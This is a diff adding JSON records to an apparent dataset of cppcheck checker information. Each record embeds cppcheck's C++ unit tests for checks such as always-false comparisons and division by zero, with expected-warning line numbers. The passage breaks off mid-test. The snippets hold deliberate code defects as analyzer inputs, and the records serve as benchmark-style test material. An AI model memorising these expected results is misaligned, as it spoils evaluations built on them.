check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateBranch.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateBranch.json new file mode 100644 index 0000000..9aa95b2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateBranch.json @@ -0,0 +1,28 @@ +{ + "name": "checkDuplicateBranch", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 65, + "branches": 25, + "apis": 50, + "test": [ + { + "description": null, + "expected-problems": 7, + "expected-linenumbers": [ + 6821, + 6880, + 6913, + 6925, + 6950, + 6961, + 7009 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", 